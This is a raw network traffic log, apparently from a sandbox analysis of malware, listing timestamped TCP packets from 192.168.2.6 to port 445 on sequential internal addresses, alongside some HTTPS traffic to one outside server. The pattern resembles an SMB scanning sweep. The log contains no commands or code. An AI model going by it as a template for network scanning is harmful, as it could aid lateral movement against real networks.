Jul 6, 2024 14:11:19.643469095 CEST	49775	445	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:19.643573046 CEST	49775	445	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:19.643650055 CEST	49776	445	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:19.647345066 CEST	49756	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:19.647371054 CEST	49776	445	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:19.649086952 CEST	445	49775	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:19.649133921 CEST	49775	445	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:19.649843931 CEST	445	49776	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:19.650443077 CEST	49776	445	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:19.653383970 CEST	445	49776	192.168.0.21	192.168.2.6
Jul 6, 2024 14:11:19.656271935 CEST	49777	445	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:19.661623955 CEST	445	49777	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:19.661942005 CEST	49777	445	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:19.661973000 CEST	49777	445	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:19.667263985 CEST	445	49777	192.168.0.22	192.168.2.6
Jul 6, 2024 14:11:19.667738914 CEST	49777	445	192.168.2.6	192.168.0.22
Jul 6, 2024 14:11:19.668523073 CEST	49778	445	192.168.2.6	192.168.0.23
Jul 6, 2024 14:11:19.673515081 CEST	445	49778	192.168.0.23	192.168.2.6
Jul 6, 2024 14:11:19.673574924 CEST	49778	445	192.168.2.6	192.168.0.23
Jul 6, 2024 14:11:19.673734903 CEST	49778	445	192.168.2.6	192.168.0.23
Jul 6, 2024 14:11:19.678740025 CEST	445	49778	192.168.0.23	192.168.2.6
Jul 6, 2024 14:11:19.679022074 CEST	445	49778	192.168.0.23	192.168.2.6
Jul 6, 2024 14:11:19.680177927 CEST	49779	445	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:19.685537100 CEST	445	49779	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:19.685596943 CEST	49779	445	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:19.685695887 CEST	49779	445	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:19.693345070 CEST	445	49779	192.168.0.24	192.168.2.6
Jul 6, 2024 14:11:19.693464994 CEST	49779	445	192.168.2.6	192.168.0.24
Jul 6, 2024 14:11:19.695779085 CEST	49781	445	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:19.700763941 CEST	445	49781	192.168.0.25	192.168.2.6
Jul 6, 2024 14:11:19.705066919 CEST	49781	445	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:19.705066919 CEST	49781	445	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:19.710649967 CEST	445	49781	192.168.0.25	192.168.2.6
Jul 6, 2024 14:11:19.713871956 CEST	49781	445	192.168.2.6	192.168.0.25
Jul 6, 2024 14:11:19.721707106 CEST	49756	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:19.725399017 CEST	49782	445	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:19.730696917 CEST	445	49782	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:19.730788946 CEST	49782	445	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:19.730916977 CEST	49782	445	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:19.733524084 CEST	49783	445	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:19.737890005 CEST	445	49782	192.168.0.26	192.168.2.6
Jul 6, 2024 14:11:19.737936020 CEST	49782	445	192.168.2.6	192.168.0.26
Jul 6, 2024 14:11:19.739432096 CEST	445	49783	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:19.739537001 CEST	49783	445	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:19.739597082 CEST	49783	445	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:19.751183987 CEST	445	49783	192.168.0.27	192.168.2.6
Jul 6, 2024 14:11:19.751555920 CEST	49783	445	192.168.2.6	192.168.0.27
Jul 6, 2024 14:11:19.755464077 CEST	49784	445	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:19.764511108 CEST	443	49756	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:19.768491030 CEST	445	49784	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:19.772504091 CEST	49784	445	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:19.775194883 CEST	49784	445	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:19.779918909 CEST	49785	445	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:19.789621115 CEST	445	49784	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:19.789686918 CEST	49784	445	192.168.2.6	192.168.0.28
Jul 6, 2024 14:11:19.791394949 CEST	445	49784	192.168.0.28	192.168.2.6
Jul 6, 2024 14:11:19.793075085 CEST	445	49785	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:19.793145895 CEST	49785	445	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:19.794140100 CEST	49785	445	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:19.802752972 CEST	445	49785	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:19.804683924 CEST	445	49785	192.168.0.29	192.168.2.6
Jul 6, 2024 14:11:19.806238890 CEST	49785	445	192.168.2.6	192.168.0.29
Jul 6, 2024 14:11:19.809134007 CEST	49786	445	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:19.815032005 CEST	445	49786	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:19.815172911 CEST	49786	445	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:19.815270901 CEST	49786	445	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:19.821336031 CEST	445	49786	192.168.0.30	192.168.2.6
Jul 6, 2024 14:11:19.825341940 CEST	49786	445	192.168.2.6	192.168.0.30
Jul 6, 2024 14:11:19.825341940 CEST	49787	445	192.168.2.6	192.168.0.31
Jul 6, 2024 14:11:19.833694935 CEST	445	49787	192.168.0.31	192.168.2.6
Jul 6, 2024 14:11:19.835100889 CEST	49787	445	192.168.2.6	192.168.0.31
Jul 6, 2024 14:11:19.835100889 CEST	49787	445	192.168.2.6	192.168.0.31
Jul 6, 2024 14:11:19.836535931 CEST	49789	445	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:19.842339993 CEST	445	49789	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:19.842391968 CEST	49789	445	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:19.842514038 CEST	49789	445	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:19.843061924 CEST	445	49787	192.168.0.31	192.168.2.6
Jul 6, 2024 14:11:19.843424082 CEST	49787	445	192.168.2.6	192.168.0.31
Jul 6, 2024 14:11:19.847573996 CEST	445	49789	192.168.0.32	192.168.2.6
Jul 6, 2024 14:11:19.847661972 CEST	49789	445	192.168.2.6	192.168.0.32
Jul 6, 2024 14:11:19.853786945 CEST	49791	445	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:19.859162092 CEST	445	49791	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:19.859230995 CEST	49791	445	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:19.859364033 CEST	49791	445	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:19.865262985 CEST	445	49791	192.168.0.33	192.168.2.6
Jul 6, 2024 14:11:19.866130114 CEST	49791	445	192.168.2.6	192.168.0.33
Jul 6, 2024 14:11:19.868859053 CEST	49792	445	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:19.876117945 CEST	445	49792	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:19.876801968 CEST	49792	445	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:19.876801968 CEST	49792	445	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:19.883831978 CEST	445	49792	192.168.0.34	192.168.2.6
Jul 6, 2024 14:11:19.883893013 CEST	49792	445	192.168.2.6	192.168.0.34
Jul 6, 2024 14:11:19.883982897 CEST	49794	445	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:19.889039040 CEST	445	49794	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:19.889113903 CEST	49794	445	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:19.890882969 CEST	445	49778	192.168.0.23	192.168.2.6
Jul 6, 2024 14:11:19.893246889 CEST	49778	445	192.168.2.6	192.168.0.23
Jul 6, 2024 14:11:19.894469976 CEST	445	49794	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:19.894531012 CEST	49794	445	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:19.897358894 CEST	49794	445	192.168.2.6	192.168.0.35
Jul 6, 2024 14:11:19.902921915 CEST	49796	445	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:19.903105974 CEST	445	49794	192.168.0.35	192.168.2.6
Jul 6, 2024 14:11:19.908129930 CEST	445	49796	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:19.908188105 CEST	49796	445	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:19.908302069 CEST	49796	445	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:19.913389921 CEST	445	49796	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:19.913459063 CEST	49796	445	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:19.913536072 CEST	445	49796	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:19.915708065 CEST	49797	445	192.168.2.6	192.168.0.37
Jul 6, 2024 14:11:19.923537016 CEST	445	49797	192.168.0.37	192.168.2.6
Jul 6, 2024 14:11:19.923743010 CEST	49797	445	192.168.2.6	192.168.0.37
Jul 6, 2024 14:11:19.923743010 CEST	49797	445	192.168.2.6	192.168.0.37
Jul 6, 2024 14:11:19.928941011 CEST	445	49797	192.168.0.37	192.168.2.6
Jul 6, 2024 14:11:19.929002047 CEST	49797	445	192.168.2.6	192.168.0.37
Jul 6, 2024 14:11:19.930742025 CEST	49799	445	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:19.935802937 CEST	445	49799	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:19.940809011 CEST	49799	445	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:19.944205046 CEST	49799	445	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:19.946456909 CEST	445	49799	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:19.946712971 CEST	443	49756	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:19.946772099 CEST	443	49756	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:19.946794987 CEST	443	49756	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:19.946835995 CEST	443	49756	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:19.946868896 CEST	49756	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:19.946877956 CEST	443	49756	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:19.946894884 CEST	443	49756	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:19.946906090 CEST	49756	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:19.946954012 CEST	49756	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:19.947119951 CEST	49800	445	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:19.947289944 CEST	49799	445	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:19.947837114 CEST	443	49756	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:19.947930098 CEST	49756	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:19.947936058 CEST	443	49756	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:19.948227882 CEST	443	49756	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:19.948281050 CEST	49756	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:19.949228048 CEST	445	49799	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:19.952068090 CEST	445	49800	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:19.952147007 CEST	49800	445	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:19.952229023 CEST	49800	445	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:19.958633900 CEST	445	49800	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:19.958704948 CEST	49800	445	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:19.960496902 CEST	49756	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:19.960496902 CEST	49756	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:19.960514069 CEST	443	49756	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:19.960522890 CEST	443	49756	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:19.964389086 CEST	49801	445	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:19.969407082 CEST	445	49801	192.168.0.40	192.168.2.6
Jul 6, 2024 14:11:19.971822023 CEST	49801	445	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:19.975500107 CEST	49801	445	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:19.977873087 CEST	445	49801	192.168.0.40	192.168.2.6
Jul 6, 2024 14:11:19.977953911 CEST	49801	445	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:19.979955912 CEST	49802	445	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:19.981412888 CEST	445	49801	192.168.0.40	192.168.2.6
Jul 6, 2024 14:11:19.985141993 CEST	445	49802	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:19.985203028 CEST	49802	445	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:19.985347033 CEST	49802	445	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:19.990889072 CEST	445	49802	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:19.990895987 CEST	445	49802	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:19.990950108 CEST	49802	445	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:19.993441105 CEST	49803	445	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:19.998374939 CEST	445	49803	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:19.998452902 CEST	49803	445	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:20.008254051 CEST	49803	445	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:20.010164976 CEST	49804	445	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:20.015059948 CEST	445	49803	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:20.015180111 CEST	445	49804	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:20.015446901 CEST	49804	445	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:20.015564919 CEST	49804	445	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:20.018810034 CEST	445	49803	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:20.018855095 CEST	49803	445	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:20.022778034 CEST	445	49804	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:20.025182009 CEST	445	49804	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:20.025263071 CEST	49804	445	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:20.025356054 CEST	49805	445	192.168.2.6	192.168.0.44
Jul 6, 2024 14:11:20.030699968 CEST	445	49805	192.168.0.44	192.168.2.6
Jul 6, 2024 14:11:20.036439896 CEST	49805	445	192.168.2.6	192.168.0.44
Jul 6, 2024 14:11:20.036439896 CEST	49805	445	192.168.2.6	192.168.0.44
Jul 6, 2024 14:11:20.039904118 CEST	49806	445	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:20.044190884 CEST	445	49805	192.168.0.44	192.168.2.6
Jul 6, 2024 14:11:20.045216084 CEST	445	49806	192.168.0.45	192.168.2.6
Jul 6, 2024 14:11:20.045887947 CEST	49806	445	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:20.045887947 CEST	49806	445	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:20.047578096 CEST	49805	445	192.168.2.6	192.168.0.44
Jul 6, 2024 14:11:20.052882910 CEST	445	49806	192.168.0.45	192.168.2.6
Jul 6, 2024 14:11:20.053086042 CEST	49806	445	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:20.067389011 CEST	49807	445	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:20.071322918 CEST	49808	445	192.168.2.6	192.168.0.47
Jul 6, 2024 14:11:20.073232889 CEST	445	49807	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:20.076107025 CEST	49807	445	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:20.076239109 CEST	49807	445	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:20.077781916 CEST	445	49808	192.168.0.47	192.168.2.6
Jul 6, 2024 14:11:20.077840090 CEST	49808	445	192.168.2.6	192.168.0.47
Jul 6, 2024 14:11:20.077956915 CEST	49808	445	192.168.2.6	192.168.0.47
Jul 6, 2024 14:11:20.083734035 CEST	445	49807	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:20.083743095 CEST	445	49807	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:20.085215092 CEST	445	49808	192.168.0.47	192.168.2.6
Jul 6, 2024 14:11:20.085258961 CEST	49808	445	192.168.2.6	192.168.0.47
Jul 6, 2024 14:11:20.088679075 CEST	49809	445	192.168.2.6	192.168.0.48
Jul 6, 2024 14:11:20.093966961 CEST	445	49809	192.168.0.48	192.168.2.6
Jul 6, 2024 14:11:20.096165895 CEST	49809	445	192.168.2.6	192.168.0.48
Jul 6, 2024 14:11:20.096165895 CEST	49809	445	192.168.2.6	192.168.0.48
Jul 6, 2024 14:11:20.114856005 CEST	445	49809	192.168.0.48	192.168.2.6
Jul 6, 2024 14:11:20.117948055 CEST	445	49809	192.168.0.48	192.168.2.6
Jul 6, 2024 14:11:20.118386984 CEST	49809	445	192.168.2.6	192.168.0.48
Jul 6, 2024 14:11:20.118387938 CEST	49810	445	192.168.2.6	192.168.0.49
Jul 6, 2024 14:11:20.123601913 CEST	445	49810	192.168.0.49	192.168.2.6
Jul 6, 2024 14:11:20.124414921 CEST	49810	445	192.168.2.6	192.168.0.49
Jul 6, 2024 14:11:20.124414921 CEST	49810	445	192.168.2.6	192.168.0.49
Jul 6, 2024 14:11:20.130654097 CEST	445	49810	192.168.0.49	192.168.2.6
Jul 6, 2024 14:11:20.131578922 CEST	445	49810	192.168.0.49	192.168.2.6
Jul 6, 2024 14:11:20.131669998 CEST	49810	445	192.168.2.6	192.168.0.49
Jul 6, 2024 14:11:20.134319067 CEST	49811	445	192.168.2.6	192.168.0.50
Jul 6, 2024 14:11:20.143320084 CEST	445	49811	192.168.0.50	192.168.2.6
Jul 6, 2024 14:11:20.143381119 CEST	49811	445	192.168.2.6	192.168.0.50
Jul 6, 2024 14:11:20.147332907 CEST	49811	445	192.168.2.6	192.168.0.50
Jul 6, 2024 14:11:20.148797989 CEST	49812	445	192.168.2.6	192.168.0.51
Jul 6, 2024 14:11:20.154676914 CEST	445	49812	192.168.0.51	192.168.2.6
Jul 6, 2024 14:11:20.154746056 CEST	49812	445	192.168.2.6	192.168.0.51
Jul 6, 2024 14:11:20.154844999 CEST	49812	445	192.168.2.6	192.168.0.51
Jul 6, 2024 14:11:20.164550066 CEST	49813	445	192.168.2.6	192.168.0.52
Jul 6, 2024 14:11:20.164783001 CEST	445	49811	192.168.0.50	192.168.2.6
Jul 6, 2024 14:11:20.168446064 CEST	445	49811	192.168.0.50	192.168.2.6
Jul 6, 2024 14:11:20.171226025 CEST	445	49812	192.168.0.51	192.168.2.6
Jul 6, 2024 14:11:20.171421051 CEST	445	49813	192.168.0.52	192.168.2.6
Jul 6, 2024 14:11:20.171489954 CEST	49813	445	192.168.2.6	192.168.0.52
Jul 6, 2024 14:11:20.171580076 CEST	49813	445	192.168.2.6	192.168.0.52
Jul 6, 2024 14:11:20.173650980 CEST	49811	445	192.168.2.6	192.168.0.50
Jul 6, 2024 14:11:20.173650980 CEST	49812	445	192.168.2.6	192.168.0.51
Jul 6, 2024 14:11:20.178505898 CEST	445	49813	192.168.0.52	192.168.2.6
Jul 6, 2024 14:11:20.180721045 CEST	445	49813	192.168.0.52	192.168.2.6
Jul 6, 2024 14:11:20.180777073 CEST	49813	445	192.168.2.6	192.168.0.52
Jul 6, 2024 14:11:20.181205034 CEST	49814	445	192.168.2.6	192.168.0.53
Jul 6, 2024 14:11:20.186186075 CEST	445	49814	192.168.0.53	192.168.2.6
Jul 6, 2024 14:11:20.186248064 CEST	49814	445	192.168.2.6	192.168.0.53
Jul 6, 2024 14:11:20.194185019 CEST	49814	445	192.168.2.6	192.168.0.53
Jul 6, 2024 14:11:20.195394993 CEST	445	49814	192.168.0.53	192.168.2.6
Jul 6, 2024 14:11:20.195501089 CEST	49815	445	192.168.2.6	192.168.0.54
Jul 6, 2024 14:11:20.195502996 CEST	49814	445	192.168.2.6	192.168.0.53
Jul 6, 2024 14:11:20.199001074 CEST	445	49814	192.168.0.53	192.168.2.6
Jul 6, 2024 14:11:20.200392008 CEST	445	49815	192.168.0.54	192.168.2.6
Jul 6, 2024 14:11:20.200474977 CEST	49815	445	192.168.2.6	192.168.0.54
Jul 6, 2024 14:11:20.208873034 CEST	445	49815	192.168.0.54	192.168.2.6
Jul 6, 2024 14:11:20.209342003 CEST	49815	445	192.168.2.6	192.168.0.54
Jul 6, 2024 14:11:20.209819078 CEST	49815	445	192.168.2.6	192.168.0.54
Jul 6, 2024 14:11:20.211255074 CEST	49816	445	192.168.2.6	192.168.0.55
Jul 6, 2024 14:11:20.216094971 CEST	445	49815	192.168.0.54	192.168.2.6
Jul 6, 2024 14:11:20.217437983 CEST	445	49816	192.168.0.55	192.168.2.6
Jul 6, 2024 14:11:20.217523098 CEST	49816	445	192.168.2.6	192.168.0.55
Jul 6, 2024 14:11:20.225450039 CEST	49816	445	192.168.2.6	192.168.0.55
Jul 6, 2024 14:11:20.226799011 CEST	49817	445	192.168.2.6	192.168.0.56
Jul 6, 2024 14:11:20.230581999 CEST	445	49816	192.168.0.55	192.168.2.6
Jul 6, 2024 14:11:20.232093096 CEST	445	49817	192.168.0.56	192.168.2.6
Jul 6, 2024 14:11:20.232291937 CEST	49817	445	192.168.2.6	192.168.0.56
Jul 6, 2024 14:11:20.232393980 CEST	49817	445	192.168.2.6	192.168.0.56
Jul 6, 2024 14:11:20.239037991 CEST	445	49817	192.168.0.56	192.168.2.6
Jul 6, 2024 14:11:20.242366076 CEST	49818	445	192.168.2.6	192.168.0.57
Jul 6, 2024 14:11:20.247582912 CEST	445	49818	192.168.0.57	192.168.2.6
Jul 6, 2024 14:11:20.247725964 CEST	49818	445	192.168.2.6	192.168.0.57
Jul 6, 2024 14:11:20.256715059 CEST	49818	445	192.168.2.6	192.168.0.57
Jul 6, 2024 14:11:20.258025885 CEST	49819	445	192.168.2.6	192.168.0.58
Jul 6, 2024 14:11:20.263739109 CEST	445	49819	192.168.0.58	192.168.2.6
Jul 6, 2024 14:11:20.263830900 CEST	49819	445	192.168.2.6	192.168.0.58
Jul 6, 2024 14:11:20.266571999 CEST	445	49818	192.168.0.57	192.168.2.6
Jul 6, 2024 14:11:20.272347927 CEST	49819	445	192.168.2.6	192.168.0.58
Jul 6, 2024 14:11:20.273711920 CEST	49820	445	192.168.2.6	192.168.0.59
Jul 6, 2024 14:11:20.275932074 CEST	445	49816	192.168.0.55	192.168.2.6
Jul 6, 2024 14:11:20.276907921 CEST	49816	445	192.168.2.6	192.168.0.55
Jul 6, 2024 14:11:20.278594017 CEST	445	49819	192.168.0.58	192.168.2.6
Jul 6, 2024 14:11:20.278835058 CEST	445	49820	192.168.0.59	192.168.2.6
Jul 6, 2024 14:11:20.280808926 CEST	49820	445	192.168.2.6	192.168.0.59
Jul 6, 2024 14:11:20.280808926 CEST	49820	445	192.168.2.6	192.168.0.59
Jul 6, 2024 14:11:20.286636114 CEST	445	49820	192.168.0.59	192.168.2.6
Jul 6, 2024 14:11:20.290699005 CEST	49821	445	192.168.2.6	192.168.0.60
Jul 6, 2024 14:11:20.300067902 CEST	445	49821	192.168.0.60	192.168.2.6
Jul 6, 2024 14:11:20.300667048 CEST	49821	445	192.168.2.6	192.168.0.60
Jul 6, 2024 14:11:20.300667048 CEST	49821	445	192.168.2.6	192.168.0.60
Jul 6, 2024 14:11:20.302717924 CEST	445	49807	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:20.303579092 CEST	49807	445	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:20.307945013 CEST	49822	445	192.168.2.6	192.168.0.61
Jul 6, 2024 14:11:20.314594030 CEST	445	49821	192.168.0.60	192.168.2.6
Jul 6, 2024 14:11:20.315234900 CEST	445	49822	192.168.0.61	192.168.2.6
Jul 6, 2024 14:11:20.315304995 CEST	49822	445	192.168.2.6	192.168.0.61
Jul 6, 2024 14:11:20.319211960 CEST	49822	445	192.168.2.6	192.168.0.61
Jul 6, 2024 14:11:20.320677042 CEST	49823	445	192.168.2.6	192.168.0.62
Jul 6, 2024 14:11:20.321022987 CEST	445	49817	192.168.0.56	192.168.2.6
Jul 6, 2024 14:11:20.321074009 CEST	49817	445	192.168.2.6	192.168.0.56
Jul 6, 2024 14:11:20.326580048 CEST	445	49822	192.168.0.61	192.168.2.6
Jul 6, 2024 14:11:20.327883959 CEST	445	49823	192.168.0.62	192.168.2.6
Jul 6, 2024 14:11:20.327955961 CEST	49823	445	192.168.2.6	192.168.0.62
Jul 6, 2024 14:11:20.328042984 CEST	49823	445	192.168.2.6	192.168.0.62
Jul 6, 2024 14:11:20.337104082 CEST	49824	445	192.168.2.6	192.168.0.63
Jul 6, 2024 14:11:20.338248968 CEST	445	49818	192.168.0.57	192.168.2.6
Jul 6, 2024 14:11:20.338846922 CEST	445	49823	192.168.0.62	192.168.2.6
Jul 6, 2024 14:11:20.338911057 CEST	49818	445	192.168.2.6	192.168.0.57
Jul 6, 2024 14:11:20.342900038 CEST	445	49819	192.168.0.58	192.168.2.6
Jul 6, 2024 14:11:20.345191002 CEST	49819	445	192.168.2.6	192.168.0.58
Jul 6, 2024 14:11:20.345370054 CEST	445	49820	192.168.0.59	192.168.2.6
Jul 6, 2024 14:11:20.345417976 CEST	49820	445	192.168.2.6	192.168.0.59
Jul 6, 2024 14:11:20.348252058 CEST	445	49824	192.168.0.63	192.168.2.6
Jul 6, 2024 14:11:20.348469973 CEST	49824	445	192.168.2.6	192.168.0.63
Jul 6, 2024 14:11:20.348525047 CEST	49824	445	192.168.2.6	192.168.0.63
Jul 6, 2024 14:11:20.351826906 CEST	49825	445	192.168.2.6	192.168.0.64
Jul 6, 2024 14:11:20.354557991 CEST	445	49824	192.168.0.63	192.168.2.6
Jul 6, 2024 14:11:20.357733011 CEST	445	49825	192.168.0.64	192.168.2.6
Jul 6, 2024 14:11:20.358109951 CEST	49825	445	192.168.2.6	192.168.0.64
Jul 6, 2024 14:11:20.358109951 CEST	49825	445	192.168.2.6	192.168.0.64
Jul 6, 2024 14:11:20.366545916 CEST	445	49825	192.168.0.64	192.168.2.6
Jul 6, 2024 14:11:20.367571115 CEST	49826	445	192.168.2.6	192.168.0.65
Jul 6, 2024 14:11:20.370074034 CEST	445	49821	192.168.0.60	192.168.2.6
Jul 6, 2024 14:11:20.370136976 CEST	49821	445	192.168.2.6	192.168.0.60
Jul 6, 2024 14:11:20.372379065 CEST	445	49822	192.168.0.61	192.168.2.6
Jul 6, 2024 14:11:20.372431993 CEST	49822	445	192.168.2.6	192.168.0.61
Jul 6, 2024 14:11:20.372793913 CEST	445	49823	192.168.0.62	192.168.2.6
Jul 6, 2024 14:11:20.372854948 CEST	49823	445	192.168.2.6	192.168.0.62
Jul 6, 2024 14:11:20.373270035 CEST	445	49826	192.168.0.65	192.168.2.6
Jul 6, 2024 14:11:20.374617100 CEST	445	49824	192.168.0.63	192.168.2.6
Jul 6, 2024 14:11:20.375490904 CEST	445	49825	192.168.0.64	192.168.2.6
Jul 6, 2024 14:11:20.375611067 CEST	49826	445	192.168.2.6	192.168.0.65
Jul 6, 2024 14:11:20.375611067 CEST	49826	445	192.168.2.6	192.168.0.65
Jul 6, 2024 14:11:20.378417015 CEST	49825	445	192.168.2.6	192.168.0.64
Jul 6, 2024 14:11:20.381577969 CEST	445	49826	192.168.0.65	192.168.2.6
Jul 6, 2024 14:11:20.382154942 CEST	49824	445	192.168.2.6	192.168.0.63
Jul 6, 2024 14:11:20.382936001 CEST	49826	445	192.168.2.6	192.168.0.65
Jul 6, 2024 14:11:20.384489059 CEST	49827	445	192.168.2.6	192.168.0.66
Jul 6, 2024 14:11:20.389755011 CEST	445	49827	192.168.0.66	192.168.2.6
Jul 6, 2024 14:11:20.393080950 CEST	49827	445	192.168.2.6	192.168.0.66
Jul 6, 2024 14:11:20.406219006 CEST	49827	445	192.168.2.6	192.168.0.66
Jul 6, 2024 14:11:20.406219959 CEST	49828	445	192.168.2.6	192.168.0.67
Jul 6, 2024 14:11:20.416322947 CEST	445	49828	192.168.0.67	192.168.2.6
Jul 6, 2024 14:11:20.416464090 CEST	49828	445	192.168.2.6	192.168.0.67
Jul 6, 2024 14:11:20.417249918 CEST	49828	445	192.168.2.6	192.168.0.67
Jul 6, 2024 14:11:20.418159008 CEST	49829	445	192.168.2.6	192.168.0.68
Jul 6, 2024 14:11:20.419469118 CEST	445	49827	192.168.0.66	192.168.2.6
